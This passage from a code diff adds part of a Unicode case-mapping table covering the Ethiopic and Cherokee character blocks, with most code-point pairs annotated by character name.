+ [0x124c, 0x124c], /* ETHIOPIC SYLLABLE QWEE */
+ [0x124d, 0x124d], /* ETHIOPIC SYLLABLE QWE */
+ [0x124e, 0x124e],
+ [0x124f, 0x124f],
+ [0x1250, 0x1250], /* ETHIOPIC SYLLABLE QHA */
+ [0x1251, 0x1251], /* ETHIOPIC SYLLABLE QHU */
+ [0x1252, 0x1252], /* ETHIOPIC SYLLABLE QHI */
+ [0x1253, 0x1253], /* ETHIOPIC SYLLABLE QHAA */
+ [0x1254, 0x1254], /* ETHIOPIC SYLLABLE QHEE */
+ [0x1255, 0x1255], /* ETHIOPIC SYLLABLE QHE */
+ [0x1256, 0x1256], /* ETHIOPIC SYLLABLE QHO */
+ [0x1257, 0x1257],
+ [0x1258, 0x1258], /* ETHIOPIC SYLLABLE QHWA */
+ [0x1259, 0x1259],
+ [0x125a, 0x125a], /* ETHIOPIC SYLLABLE QHWI */
+ [0x125b, 0x125b], /* ETHIOPIC SYLLABLE QHWAA */
+ [0x125c, 0x125c], /* ETHIOPIC SYLLABLE QHWEE */
+ [0x125d, 0x125d], /* ETHIOPIC SYLLABLE QHWE */
+ [0x125e, 0x125e],
+ [0x125f, 0x125f],
+ [0x1260, 0x1260], /* ETHIOPIC SYLLABLE BA */
+ [0x1261, 0x1261], /* ETHIOPIC SYLLABLE BU */
+ [0x1262, 0x1262], /* ETHIOPIC SYLLABLE BI */
+ [0x1263, 0x1263], /* ETHIOPIC SYLLABLE BAA */
+ [0x1264, 0x1264], /* ETHIOPIC SYLLABLE BEE */
+ [0x1265, 0x1265], /* ETHIOPIC SYLLABLE BE */
+ [0x1266, 0x1266], /* ETHIOPIC SYLLABLE BO */
+ [0x1267, 0x1267], /* ETHIOPIC SYLLABLE BWA */
+ [0x1268, 0x1268], /* ETHIOPIC SYLLABLE VA */
+ [0x1269, 0x1269], /* ETHIOPIC SYLLABLE VU */
+ [0x126a, 0x126a], /* ETHIOPIC SYLLABLE VI */
+ [0x126b, 0x126b], /* ETHIOPIC SYLLABLE VAA */
+ [0x126c, 0x126c], /* ETHIOPIC SYLLABLE VEE */
+ [0x126d, 0x126d], /* ETHIOPIC SYLLABLE VE */
+ [0x126e, 0x126e], /* ETHIOPIC SYLLABLE VO */
+ [0x126f, 0x126f], /* ETHIOPIC SYLLABLE VWA */
+ [0x1270, 0x1270], /* ETHIOPIC SYLLABLE TA */
+ [0x1271, 0x1271], /* ETHIOPIC SYLLABLE TU */
+ [0x1272, 0x1272], /* ETHIOPIC SYLLABLE TI */
+ [0x1273, 0x1273], /* ETHIOPIC SYLLABLE TAA */
+ [0x1274, 0x1274], /* ETHIOPIC SYLLABLE TEE */
+ [0x1275, 0x1275], /* ETHIOPIC SYLLABLE TE */
+ [0x1276, 0x1276], /* ETHIOPIC SYLLABLE TO */
+ [0x1277, 0x1277], /* ETHIOPIC SYLLABLE TWA */
+ [0x1278, 0x1278], /* ETHIOPIC SYLLABLE CA */
+ [0x1279, 0x1279], /* ETHIOPIC SYLLABLE CU */
+ [0x127a, 0x127a], /* ETHIOPIC SYLLABLE CI */
+ [0x127b, 0x127b], /* ETHIOPIC SYLLABLE CAA */
+ [0x127c, 0x127c], /* ETHIOPIC SYLLABLE CEE */
+ [0x127d, 0x127d], /* ETHIOPIC SYLLABLE CE */
+ [0x127e, 0x127e], /* ETHIOPIC SYLLABLE CO */
+ [0x127f, 0x127f], /* ETHIOPIC SYLLABLE CWA */
+ [0x1280, 0x1280], /* ETHIOPIC SYLLABLE XA */
+ [0x1281, 0x1281], /* ETHIOPIC SYLLABLE XU */
+ [0x1282, 0x1282], /* ETHIOPIC SYLLABLE XI */
+ [0x1283, 0x1283], /* ETHIOPIC SYLLABLE XAA */
+ [0x1284, 0x1284], /* ETHIOPIC SYLLABLE XEE */
+ [0x1285, 0x1285], /* ETHIOPIC SYLLABLE XE */
+ [0x1286, 0x1286], /* ETHIOPIC SYLLABLE XO */
+ [0x1287, 0x1287], /* ETHIOPIC SYLLABLE XOA */
+ [0x1288, 0x1288], /* ETHIOPIC SYLLABLE XWA */
+ [0x1289, 0x1289],
+ [0x128a, 0x128a], /* ETHIOPIC SYLLABLE XWI */
+ [0x128b, 0x128b], /* ETHIOPIC SYLLABLE XWAA */
+ [0x128c, 0x128c], /* ETHIOPIC SYLLABLE XWEE */
+ [0x128d, 0x128d], /* ETHIOPIC SYLLABLE XWE */
+ [0x128e, 0x128e],
+ [0x128f, 0x128f],
+ [0x1290, 0x1290], /* ETHIOPIC SYLLABLE NA */
+ [0x1291, 0x1291], /* ETHIOPIC SYLLABLE NU */
+ [0x1292, 0x1292], /* ETHIOPIC SYLLABLE NI */
+ [0x1293, 0x1293], /* ETHIOPIC SYLLABLE NAA */
+ [0x1294, 0x1294], /* ETHIOPIC SYLLABLE NEE */
+ [0x1295, 0x1295], /* ETHIOPIC SYLLABLE NE */
+ [0x1296, 0x1296], /* ETHIOPIC SYLLABLE NO */
+ [0x1297, 0x1297], /* ETHIOPIC SYLLABLE NWA */
+ [0x1298, 0x1298], /* ETHIOPIC SYLLABLE NYA */
+ [0x1299, 0x1299], /* ETHIOPIC SYLLABLE NYU */
+ [0x129a, 0x129a], /* ETHIOPIC SYLLABLE NYI */
+ [0x129b, 0x129b], /* ETHIOPIC SYLLABLE NYAA */
+ [0x129c, 0x129c], /* ETHIOPIC SYLLABLE NYEE */
+ [0x129d, 0x129d], /* ETHIOPIC SYLLABLE NYE */
+ [0x129e, 0x129e], /* ETHIOPIC SYLLABLE NYO */
+ [0x129f, 0x129f], /* ETHIOPIC SYLLABLE NYWA */
+ [0x12a0, 0x12a0], /* ETHIOPIC SYLLABLE GLOTTAL A */
+ [0x12a1, 0x12a1], /* ETHIOPIC SYLLABLE GLOTTAL U */
+ [0x12a2, 0x12a2], /* ETHIOPIC SYLLABLE GLOTTAL I */
+ [0x12a3, 0x12a3], /* ETHIOPIC SYLLABLE GLOTTAL AA */
+ [0x12a4, 0x12a4], /* ETHIOPIC SYLLABLE GLOTTAL EE */
+ [0x12a5, 0x12a5], /* ETHIOPIC SYLLABLE GLOTTAL E */
+ [0x12a6, 0x12a6], /* ETHIOPIC SYLLABLE GLOTTAL O */
+ [0x12a7, 0x12a7], /* ETHIOPIC SYLLABLE GLOTTAL WA */
+ [0x12a8, 0x12a8], /* ETHIOPIC SYLLABLE KA */
+ [0x12a9, 0x12a9], /* ETHIOPIC SYLLABLE KU */
+ [0x12aa, 0x12aa], /* ETHIOPIC SYLLABLE KI */
+ [0x12ab, 0x12ab], /* ETHIOPIC SYLLABLE KAA */
+ [0x12ac, 0x12ac], /* ETHIOPIC SYLLABLE KEE */
+ [0x12ad, 0x12ad], /* ETHIOPIC SYLLABLE KE */
+ [0x12ae, 0x12ae], /* ETHIOPIC SYLLABLE KO */
+ [0x12af, 0x12af], /* ETHIOPIC SYLLABLE KOA */
+ [0x12b0, 0x12b0], /* ETHIOPIC SYLLABLE KWA */
+ [0x12b1, 0x12b1],
+ [0x12b2, 0x12b2], /* ETHIOPIC SYLLABLE KWI */
+ [0x12b3, 0x12b3], /* ETHIOPIC SYLLABLE KWAA */
+ [0x12b4, 0x12b4], /* ETHIOPIC SYLLABLE KWEE */
+ [0x12b5, 0x12b5], /* ETHIOPIC SYLLABLE KWE */
+ [0x12b6, 0x12b6],
+ [0x12b7, 0x12b7],
+ [0x12b8, 0x12b8], /* ETHIOPIC SYLLABLE KXA */
+ [0x12b9, 0x12b9], /* ETHIOPIC SYLLABLE KXU */
+ [0x12ba, 0x12ba], /* ETHIOPIC SYLLABLE KXI */
+ [0x12bb, 0x12bb], /* ETHIOPIC SYLLABLE KXAA */
+ [0x12bc, 0x12bc], /* ETHIOPIC SYLLABLE KXEE */
+ [0x12bd, 0x12bd], /* ETHIOPIC SYLLABLE KXE */
+ [0x12be, 0x12be], /* ETHIOPIC SYLLABLE KXO */
+ [0x12bf, 0x12bf],
+ [0x12c0, 0x12c0], /* ETHIOPIC SYLLABLE KXWA */
+ [0x12c1, 0x12c1],
+ [0x12c2, 0x12c2], /* ETHIOPIC SYLLABLE KXWI */
+ [0x12c3, 0x12c3], /* ETHIOPIC SYLLABLE KXWAA */
+ [0x12c4, 0x12c4], /* ETHIOPIC SYLLABLE KXWEE */
+ [0x12c5, 0x12c5], /* ETHIOPIC SYLLABLE KXWE */
+ [0x12c6, 0x12c6],
+ [0x12c7, 0x12c7],
+ [0x12c8, 0x12c8], /* ETHIOPIC SYLLABLE WA */
+ [0x12c9, 0x12c9], /* ETHIOPIC SYLLABLE WU */
+ [0x12ca, 0x12ca], /* ETHIOPIC SYLLABLE WI */
+ [0x12cb, 0x12cb], /* ETHIOPIC SYLLABLE WAA */
+ [0x12cc, 0x12cc], /* ETHIOPIC SYLLABLE WEE */
+ [0x12cd, 0x12cd], /* ETHIOPIC SYLLABLE WE */
+ [0x12ce, 0x12ce], /* ETHIOPIC SYLLABLE WO */
+ [0x12cf, 0x12cf], /* ETHIOPIC SYLLABLE WOA */
+ [0x12d0, 0x12d0], /* ETHIOPIC SYLLABLE PHARYNGEAL A */
+ [0x12d1, 0x12d1], /* ETHIOPIC SYLLABLE PHARYNGEAL U */
+ [0x12d2, 0x12d2], /* ETHIOPIC SYLLABLE PHARYNGEAL I */
+ [0x12d3, 0x12d3], /* ETHIOPIC SYLLABLE PHARYNGEAL AA */
+ [0x12d4, 0x12d4], /* ETHIOPIC SYLLABLE PHARYNGEAL EE */
+ [0x12d5, 0x12d5], /* ETHIOPIC SYLLABLE PHARYNGEAL E */
+ [0x12d6, 0x12d6], /* ETHIOPIC SYLLABLE PHARYNGEAL O */
+ [0x12d7, 0x12d7],
+ [0x12d8, 0x12d8], /* ETHIOPIC SYLLABLE ZA */
+ [0x12d9, 0x12d9], /* ETHIOPIC SYLLABLE ZU */
+ [0x12da, 0x12da], /* ETHIOPIC SYLLABLE ZI */
+ [0x12db, 0x12db], /* ETHIOPIC SYLLABLE ZAA */
+ [0x12dc, 0x12dc], /* ETHIOPIC SYLLABLE ZEE */
+ [0x12dd, 0x12dd], /* ETHIOPIC SYLLABLE ZE */
+ [0x12de, 0x12de], /* ETHIOPIC SYLLABLE ZO */
+ [0x12df, 0x12df], /* ETHIOPIC SYLLABLE ZWA */
+ [0x12e0, 0x12e0], /* ETHIOPIC SYLLABLE ZHA */
+ [0x12e1, 0x12e1], /* ETHIOPIC SYLLABLE ZHU */
+ [0x12e2, 0x12e2], /* ETHIOPIC SYLLABLE ZHI */
+ [0x12e3, 0x12e3], /* ETHIOPIC SYLLABLE ZHAA */
+ [0x12e4, 0x12e4], /* ETHIOPIC SYLLABLE ZHEE */
+ [0x12e5, 0x12e5], /* ETHIOPIC SYLLABLE ZHE */
+ [0x12e6, 0x12e6], /* ETHIOPIC SYLLABLE ZHO */
+ [0x12e7, 0x12e7], /* ETHIOPIC SYLLABLE ZHWA */
+ [0x12e8, 0x12e8], /* ETHIOPIC SYLLABLE YA */
+ [0x12e9, 0x12e9], /* ETHIOPIC SYLLABLE YU */
+ [0x12ea, 0x12ea], /* ETHIOPIC SYLLABLE YI */
+ [0x12eb, 0x12eb], /* ETHIOPIC SYLLABLE YAA */
+ [0x12ec, 0x12ec], /* ETHIOPIC SYLLABLE YEE */
+ [0x12ed, 0x12ed], /* ETHIOPIC SYLLABLE YE */
+ [0x12ee, 0x12ee], /* ETHIOPIC SYLLABLE YO */
+ [0x12ef, 0x12ef], /* ETHIOPIC SYLLABLE YOA */
+ [0x12f0, 0x12f0], /* ETHIOPIC SYLLABLE DA */
+ [0x12f1, 0x12f1], /* ETHIOPIC SYLLABLE DU */
+ [0x12f2, 0x12f2], /* ETHIOPIC SYLLABLE DI */
+ [0x12f3, 0x12f3], /* ETHIOPIC SYLLABLE DAA */
+ [0x12f4, 0x12f4], /* ETHIOPIC SYLLABLE DEE */
+ [0x12f5, 0x12f5], /* ETHIOPIC SYLLABLE DE */
+ [0x12f6, 0x12f6], /* ETHIOPIC SYLLABLE DO */
+ [0x12f7, 0x12f7], /* ETHIOPIC SYLLABLE DWA */
+ [0x12f8, 0x12f8], /* ETHIOPIC SYLLABLE DDA */
+ [0x12f9, 0x12f9], /* ETHIOPIC SYLLABLE DDU */
+ [0x12fa, 0x12fa], /* ETHIOPIC SYLLABLE DDI */
+ [0x12fb, 0x12fb], /* ETHIOPIC SYLLABLE DDAA */
+ [0x12fc, 0x12fc], /* ETHIOPIC SYLLABLE DDEE */
+ [0x12fd, 0x12fd], /* ETHIOPIC SYLLABLE DDE */
+ [0x12fe, 0x12fe], /* ETHIOPIC SYLLABLE DDO */
+ [0x12ff, 0x12ff], /* ETHIOPIC SYLLABLE DDWA */
+ [0x1300, 0x1300], /* ETHIOPIC SYLLABLE JA */
+ [0x1301, 0x1301], /* ETHIOPIC SYLLABLE JU */
+ [0x1302, 0x1302], /* ETHIOPIC SYLLABLE JI */
+ [0x1303, 0x1303], /* ETHIOPIC SYLLABLE JAA */
+ [0x1304, 0x1304], /* ETHIOPIC SYLLABLE JEE */
+ [0x1305, 0x1305], /* ETHIOPIC SYLLABLE JE */
+ [0x1306, 0x1306], /* ETHIOPIC SYLLABLE JO */
+ [0x1307, 0x1307], /* ETHIOPIC SYLLABLE JWA */
+ [0x1308, 0x1308], /* ETHIOPIC SYLLABLE GA */
+ [0x1309, 0x1309], /* ETHIOPIC SYLLABLE GU */
+ [0x130a, 0x130a], /* ETHIOPIC SYLLABLE GI */
+ [0x130b, 0x130b], /* ETHIOPIC SYLLABLE GAA */
+ [0x130c, 0x130c], /* ETHIOPIC SYLLABLE GEE */
+ [0x130d, 0x130d], /* ETHIOPIC SYLLABLE GE */
+ [0x130e, 0x130e], /* ETHIOPIC SYLLABLE GO */
+ [0x130f, 0x130f], /* ETHIOPIC SYLLABLE GOA */
+ [0x1310, 0x1310], /* ETHIOPIC SYLLABLE GWA */
+ [0x1311, 0x1311],
+ [0x1312, 0x1312], /* ETHIOPIC SYLLABLE GWI */
+ [0x1313, 0x1313], /* ETHIOPIC SYLLABLE GWAA */
+ [0x1314, 0x1314], /* ETHIOPIC SYLLABLE GWEE */
+ [0x1315, 0x1315], /* ETHIOPIC SYLLABLE GWE */
+ [0x1316, 0x1316],
+ [0x1317, 0x1317],
+ [0x1318, 0x1318], /* ETHIOPIC SYLLABLE GGA */
+ [0x1319, 0x1319], /* ETHIOPIC SYLLABLE GGU */
+ [0x131a, 0x131a], /* ETHIOPIC SYLLABLE GGI */
+ [0x131b, 0x131b], /* ETHIOPIC SYLLABLE GGAA */
+ [0x131c, 0x131c], /* ETHIOPIC SYLLABLE GGEE */
+ [0x131d, 0x131d], /* ETHIOPIC SYLLABLE GGE */
+ [0x131e, 0x131e], /* ETHIOPIC SYLLABLE GGO */
+ [0x131f, 0x131f], /* ETHIOPIC SYLLABLE GGWAA */
+ [0x1320, 0x1320], /* ETHIOPIC SYLLABLE THA */
+ [0x1321, 0x1321], /* ETHIOPIC SYLLABLE THU */
+ [0x1322, 0x1322], /* ETHIOPIC SYLLABLE THI */
+ [0x1323, 0x1323], /* ETHIOPIC SYLLABLE THAA */
+ [0x1324, 0x1324], /* ETHIOPIC SYLLABLE THEE */
+ [0x1325, 0x1325], /* ETHIOPIC SYLLABLE THE */
+ [0x1326, 0x1326], /* ETHIOPIC SYLLABLE THO */
+ [0x1327, 0x1327], /* ETHIOPIC SYLLABLE THWA */
+ [0x1328, 0x1328], /* ETHIOPIC SYLLABLE CHA */
+ [0x1329, 0x1329], /* ETHIOPIC SYLLABLE CHU */
+ [0x132a, 0x132a], /* ETHIOPIC SYLLABLE CHI */
+ [0x132b, 0x132b], /* ETHIOPIC SYLLABLE CHAA */
+ [0x132c, 0x132c], /* ETHIOPIC SYLLABLE CHEE */
+ [0x132d, 0x132d], /* ETHIOPIC SYLLABLE CHE */
+ [0x132e, 0x132e], /* ETHIOPIC SYLLABLE CHO */
+ [0x132f, 0x132f], /* ETHIOPIC SYLLABLE CHWA */
+ [0x1330, 0x1330], /* ETHIOPIC SYLLABLE PHA */
+ [0x1331, 0x1331], /* ETHIOPIC SYLLABLE PHU */
+ [0x1332, 0x1332], /* ETHIOPIC SYLLABLE PHI */
+ [0x1333, 0x1333], /* ETHIOPIC SYLLABLE PHAA */
+ [0x1334, 0x1334], /* ETHIOPIC SYLLABLE PHEE */
+ [0x1335, 0x1335], /* ETHIOPIC SYLLABLE PHE */
+ [0x1336, 0x1336], /* ETHIOPIC SYLLABLE PHO */
+ [0x1337, 0x1337], /* ETHIOPIC SYLLABLE PHWA */
+ [0x1338, 0x1338], /* ETHIOPIC SYLLABLE TSA */
+ [0x1339, 0x1339], /* ETHIOPIC SYLLABLE TSU */
+ [0x133a, 0x133a], /* ETHIOPIC SYLLABLE TSI */
+ [0x133b, 0x133b], /* ETHIOPIC SYLLABLE TSAA */
+ [0x133c, 0x133c], /* ETHIOPIC SYLLABLE TSEE */
+ [0x133d, 0x133d], /* ETHIOPIC SYLLABLE TSE */
+ [0x133e, 0x133e], /* ETHIOPIC SYLLABLE TSO */
+ [0x133f, 0x133f], /* ETHIOPIC SYLLABLE TSWA */
+ [0x1340, 0x1340], /* ETHIOPIC SYLLABLE TZA */
+ [0x1341, 0x1341], /* ETHIOPIC SYLLABLE TZU */
+ [0x1342, 0x1342], /* ETHIOPIC SYLLABLE TZI */
+ [0x1343, 0x1343], /* ETHIOPIC SYLLABLE TZAA */
+ [0x1344, 0x1344], /* ETHIOPIC SYLLABLE TZEE */
+ [0x1345, 0x1345], /* ETHIOPIC SYLLABLE TZE */
+ [0x1346, 0x1346], /* ETHIOPIC SYLLABLE TZO */
+ [0x1347, 0x1347], /* ETHIOPIC SYLLABLE TZOA */
+ [0x1348, 0x1348], /* ETHIOPIC SYLLABLE FA */
+ [0x1349, 0x1349], /* ETHIOPIC SYLLABLE FU */
+ [0x134a, 0x134a], /* ETHIOPIC SYLLABLE FI */
+ [0x134b, 0x134b], /* ETHIOPIC SYLLABLE FAA */
+ [0x134c, 0x134c], /* ETHIOPIC SYLLABLE FEE */
+ [0x134d, 0x134d], /* ETHIOPIC SYLLABLE FE */
+ [0x134e, 0x134e], /* ETHIOPIC SYLLABLE FO */
+ [0x134f, 0x134f], /* ETHIOPIC SYLLABLE FWA */
+ [0x1350, 0x1350], /* ETHIOPIC SYLLABLE PA */
+ [0x1351, 0x1351], /* ETHIOPIC SYLLABLE PU */
+ [0x1352, 0x1352], /* ETHIOPIC SYLLABLE PI */
+ [0x1353, 0x1353], /* ETHIOPIC SYLLABLE PAA */
+ [0x1354, 0x1354], /* ETHIOPIC SYLLABLE PEE */
+ [0x1355, 0x1355], /* ETHIOPIC SYLLABLE PE */
+ [0x1356, 0x1356], /* ETHIOPIC SYLLABLE PO */
+ [0x1357, 0x1357], /* ETHIOPIC SYLLABLE PWA */
+ [0x1358, 0x1358], /* ETHIOPIC SYLLABLE RYA */
+ [0x1359, 0x1359], /* ETHIOPIC SYLLABLE MYA */
+ [0x135a, 0x135a], /* ETHIOPIC SYLLABLE FYA */
+ [0x135b, 0x135b],
+ [0x135c, 0x135c],
+ [0x135d, 0x135d], /* ETHIOPIC COMBINING GEMINATION AND VOWEL LENGTH MARK */
+ [0x135e, 0x135e], /* ETHIOPIC COMBINING VOWEL LENGTH MARK */
+ [0x135f, 0x135f], /* ETHIOPIC COMBINING GEMINATION MARK */
+ [0x1360, 0x1360], /* ETHIOPIC SECTION MARK */
+ [0x1361, 0x1361], /* ETHIOPIC WORDSPACE */
+ [0x1362, 0x1362], /* ETHIOPIC FULL STOP */
+ [0x1363, 0x1363], /* ETHIOPIC COMMA */
+ [0x1364, 0x1364], /* ETHIOPIC SEMICOLON */
+ [0x1365, 0x1365], /* ETHIOPIC COLON */
+ [0x1366, 0x1366], /* ETHIOPIC PREFACE COLON */
+ [0x1367, 0x1367], /* ETHIOPIC QUESTION MARK */
+ [0x1368, 0x1368], /* ETHIOPIC PARAGRAPH SEPARATOR */
+ [0x1369, 0x1369], /* ETHIOPIC DIGIT ONE */
+ [0x136a, 0x136a], /* ETHIOPIC DIGIT TWO */
+ [0x136b, 0x136b], /* ETHIOPIC DIGIT THREE */
+ [0x136c, 0x136c], /* ETHIOPIC DIGIT FOUR */
+ [0x136d, 0x136d], /* ETHIOPIC DIGIT FIVE */
+ [0x136e, 0x136e], /* ETHIOPIC DIGIT SIX */
+ [0x136f, 0x136f], /* ETHIOPIC DIGIT SEVEN */
+ [0x1370, 0x1370], /* ETHIOPIC DIGIT EIGHT */
+ [0x1371, 0x1371], /* ETHIOPIC DIGIT NINE */
+ [0x1372, 0x1372], /* ETHIOPIC NUMBER TEN */
+ [0x1373, 0x1373], /* ETHIOPIC NUMBER TWENTY */
+ [0x1374, 0x1374], /* ETHIOPIC NUMBER THIRTY */
+ [0x1375, 0x1375], /* ETHIOPIC NUMBER FORTY */
+ [0x1376, 0x1376], /* ETHIOPIC NUMBER FIFTY */
+ [0x1377, 0x1377], /* ETHIOPIC NUMBER SIXTY */
+ [0x1378, 0x1378], /* ETHIOPIC NUMBER SEVENTY */
+ [0x1379, 0x1379], /* ETHIOPIC NUMBER EIGHTY */
+ [0x137a, 0x137a], /* ETHIOPIC NUMBER NINETY */
+ [0x137b, 0x137b], /* ETHIOPIC NUMBER HUNDRED */
+ [0x137c, 0x137c], /* ETHIOPIC NUMBER TEN THOUSAND */
+ [0x137d, 0x137d],
+ [0x137e, 0x137e],
+ [0x137f, 0x137f],
+ [0x1380, 0x1380], /* ETHIOPIC SYLLABLE SEBATBEIT MWA */
+ [0x1381, 0x1381], /* ETHIOPIC SYLLABLE MWI */
+ [0x1382, 0x1382], /* ETHIOPIC SYLLABLE MWEE */
+ [0x1383, 0x1383], /* ETHIOPIC SYLLABLE MWE */
+ [0x1384, 0x1384], /* ETHIOPIC SYLLABLE SEBATBEIT BWA */
+ [0x1385, 0x1385], /* ETHIOPIC SYLLABLE BWI */
+ [0x1386, 0x1386], /* ETHIOPIC SYLLABLE BWEE */
+ [0x1387, 0x1387], /* ETHIOPIC SYLLABLE BWE */
+ [0x1388, 0x1388], /* ETHIOPIC SYLLABLE SEBATBEIT FWA */
+ [0x1389, 0x1389], /* ETHIOPIC SYLLABLE FWI */
+ [0x138a, 0x138a], /* ETHIOPIC SYLLABLE FWEE */
+ [0x138b, 0x138b], /* ETHIOPIC SYLLABLE FWE */
+ [0x138c, 0x138c], /* ETHIOPIC SYLLABLE SEBATBEIT PWA */
+ [0x138d, 0x138d], /* ETHIOPIC SYLLABLE PWI */
+ [0x138e, 0x138e], /* ETHIOPIC SYLLABLE PWEE */
+ [0x138f, 0x138f], /* ETHIOPIC SYLLABLE PWE */
+ [0x1390, 0x1390], /* ETHIOPIC TONAL MARK YIZET */
+ [0x1391, 0x1391], /* ETHIOPIC TONAL MARK DERET */
+ [0x1392, 0x1392], /* ETHIOPIC TONAL MARK RIKRIK */
+ [0x1393, 0x1393], /* ETHIOPIC TONAL MARK SHORT RIKRIK */
+ [0x1394, 0x1394], /* ETHIOPIC TONAL MARK DIFAT */
+ [0x1395, 0x1395], /* ETHIOPIC TONAL MARK KENAT */
+ [0x1396, 0x1396], /* ETHIOPIC TONAL MARK CHIRET */
+ [0x1397, 0x1397], /* ETHIOPIC TONAL MARK HIDET */
+ [0x1398, 0x1398], /* ETHIOPIC TONAL MARK DERET-HIDET */
+ [0x1399, 0x1399], /* ETHIOPIC TONAL MARK KURT */
+ [0x139a, 0x139a],
+ [0x139b, 0x139b],
+ [0x139c, 0x139c],
+ [0x139d, 0x139d],
+ [0x139e, 0x139e],
+ [0x139f, 0x139f],
+ [0x13a0, 0xab70], /* CHEROKEE LETTER A */
+ [0x13a1, 0xab71], /* CHEROKEE LETTER E */
+ [0x13a2, 0xab72], /* CHEROKEE LETTER I */
+ [0x13a3, 0xab73], /* CHEROKEE LETTER O */
+ [0x13a4, 0xab74], /* CHEROKEE LETTER U */
+ [0x13a5, 0xab75], /* CHEROKEE LETTER V */
+ [0x13a6, 0xab76], /* CHEROKEE LETTER GA */
+ [0x13a7, 0xab77], /* CHEROKEE LETTER KA */
+ [0x13a8, 0xab78], /* CHEROKEE LETTER GE */
+ [0x13a9, 0xab79], /* CHEROKEE LETTER GI */
+ [0x13aa, 0xab7a], /* CHEROKEE LETTER GO */
+ [0x13ab, 0xab7b], /* CHEROKEE LETTER GU */
+ [0x13ac, 0xab7c], /* CHEROKEE LETTER GV */
+ [0x13ad, 0xab7d], /* CHEROKEE LETTER HA */
+ [0x13ae, 0xab7e], /* CHEROKEE LETTER HE */
+ [0x13af, 0xab7f], /* CHEROKEE LETTER HI */
+ [0x13b0, 0xab80], /* CHEROKEE LETTER HO */
+ [0x13b1, 0xab81], /* CHEROKEE LETTER HU */
+ [0x13b2, 0xab82], /* CHEROKEE LETTER HV */
+ [0x13b3, 0xab83], /* CHEROKEE LETTER LA */
+ [0x13b4, 0xab84], /* CHEROKEE LETTER LE */
+ [0x13b5, 0xab85], /* CHEROKEE LETTER LI */
+ [0x13b6, 0xab86], /* CHEROKEE LETTER LO */
+ [0x13b7, 0xab87], /* CHEROKEE LETTER LU */
+ [0x13b8, 0xab88], /* CHEROKEE LETTER LV */
+ [0x13b9, 0xab89], /* CHEROKEE LETTER MA */
+ [0x13ba, 0xab8a], /* CHEROKEE LETTER ME */
+ [0x13bb, 0xab8b], /* CHEROKEE LETTER MI */
+ [0x13bc, 0xab8c], /* CHEROKEE LETTER MO */
+ [0x13bd, 0xab8d], /* CHEROKEE LETTER MU */
+ [0x13be, 0xab8e], /* CHEROKEE LETTER NA */
+ [0x13bf, 0xab8f], /* CHEROKEE LETTER HNA */
+ [0x13c0, 0xab90], /* CHEROKEE LETTER NAH */
+ [0x13c1, 0xab91], /* CHEROKEE LETTER NE */
+ [0x13c2, 0xab92], /* CHEROKEE LETTER NI */
+ [0x13c3, 0xab93], /* CHEROKEE LETTER NO */
+ [0x13c4, 0xab94], /* CHEROKEE LETTER NU */
+ [0x13c5, 0xab95], /* CHEROKEE LETTER NV */
+ [0x13c6, 0xab96], /* CHEROKEE LETTER QUA */
+ [0x13c7, 0xab97], /* CHEROKEE LETTER QUE */
+ [0x13c8, 0xab98], /* CHEROKEE LETTER QUI */
+ [0x13c9, 0xab99], /* CHEROKEE LETTER QUO */
+ [0x13ca, 0xab9a], /* CHEROKEE LETTER QUU */
+ [0x13cb, 0xab9b], /* CHEROKEE LETTER QUV */
+ [0x13cc, 0xab9c], /* CHEROKEE LETTER SA */
+ [0x13cd, 0xab9d], /* CHEROKEE LETTER S */
+ [0x13ce, 0xab9e], /* CHEROKEE LETTER SE */
+ [0x13cf, 0xab9f], /* CHEROKEE LETTER SI */
+ [0x13d0, 0xaba0], /* CHEROKEE LETTER SO */
+ [0x13d1, 0xaba1], /* CHEROKEE LETTER SU */
+ [0x13d2, 0xaba2], /* CHEROKEE LETTER SV */
+ [0x13d3, 0xaba3], /* CHEROKEE LETTER DA */
+ [0x13d4, 0xaba4], /* CHEROKEE LETTER TA */
+ [0x13d5, 0xaba5], /* CHEROKEE LETTER DE */
+ [0x13d6, 0xaba6], /* CHEROKEE LETTER TE */
+ [0x13d7, 0xaba7], /* CHEROKEE LETTER DI */
+ [0x13d8, 0xaba8], /* CHEROKEE LETTER TI */
+ [0x13d9, 0xaba9], /* CHEROKEE LETTER DO */
+ [0x13da, 0xabaa], /* CHEROKEE LETTER DU */
+ [0x13db, 0xabab], /* CHEROKEE LETTER DV */
+ [0x13dc, 0xabac], /* CHEROKEE LETTER DLA */
+ [0x13dd, 0xabad], /* CHEROKEE LETTER TLA */
+ [0x13de, 0xabae], /* CHEROKEE LETTER TLE */
+ [0x13df, 0xabaf], /* CHEROKEE LETTER TLI */
+ [0x13e0, 0xabb0], /* CHEROKEE LETTER TLO */
+ [0x13e1, 0xabb1], /* CHEROKEE LETTER TLU */
+ [0x13e2, 0xabb2], /* CHEROKEE LETTER TLV */
+ [0x13e3, 0xabb3], /* CHEROKEE LETTER TSA */
+ [0x13e4, 0xabb4], /* CHEROKEE LETTER TSE */
+ [0x13e5, 0xabb5], /* CHEROKEE LETTER TSI */
+ [0x13e6, 0xabb6], /* CHEROKEE LETTER TSO */
+ [0x13e7, 0xabb7], /* CHEROKEE LETTER TSU */
+ [0x13e8, 0xabb8], /* CHEROKEE LETTER TSV */
+ [0x13e9, 0xabb9], /* CHEROKEE LETTER WA */
+ [0x13ea, 0xabba], /* CHEROKEE LETTER WE */
+ [0x13eb, 0xabbb], /* CHEROKEE LETTER WI */
+ [0x13ec, 0xabbc], /* CHEROKEE LETTER WO */
+ [0x13ed, 0xabbd], /* CHEROKEE LETTER WU */
+ [0x13ee, 0xabbe], /* CHEROKEE LETTER WV */
+ [0x13ef, 0xabbf], /* CHEROKEE LETTER YA */
+ [0x13f0, 0x13f8], /* CHEROKEE LETTER YE */
+ [0x13f1, 0x13f9], /* CHEROKEE LETTER YI */
+ [0x13f2, 0x13fa], /* CHEROKEE LETTER YO */
+ [0x13f3, 0x13fb], /* CHEROKEE LETTER YU */
+ [0x13f4, 0x13fc], /* CHEROKEE LETTER YV */
+ [0x13f5, 0x13fd], /* CHEROKEE LETTER MV */
+ [0x13f6, 0x13f6],
+ [0x13f7, 0x13f7],
+ [0x13f0, 0x13f8], /* CHEROKEE SMALL LETTER YE */
+ [0x13f1, 0x13f9], /* CHEROKEE SMALL LETTER YI */
+ [0x13f2, 0x13fa], /* CHEROKEE SMALL LETTER YO */
+ [0x13f3, 0x13fb], /* CHEROKEE SMALL LETTER YU */
+ [0x13f4, 0x13fc], /* CHEROKEE SMALL LETTER YV */
+ [0x13f5, 0x13fd], /* CHEROKEE SMALL LETTER MV */
+ [0x13fe, 0x13fe],
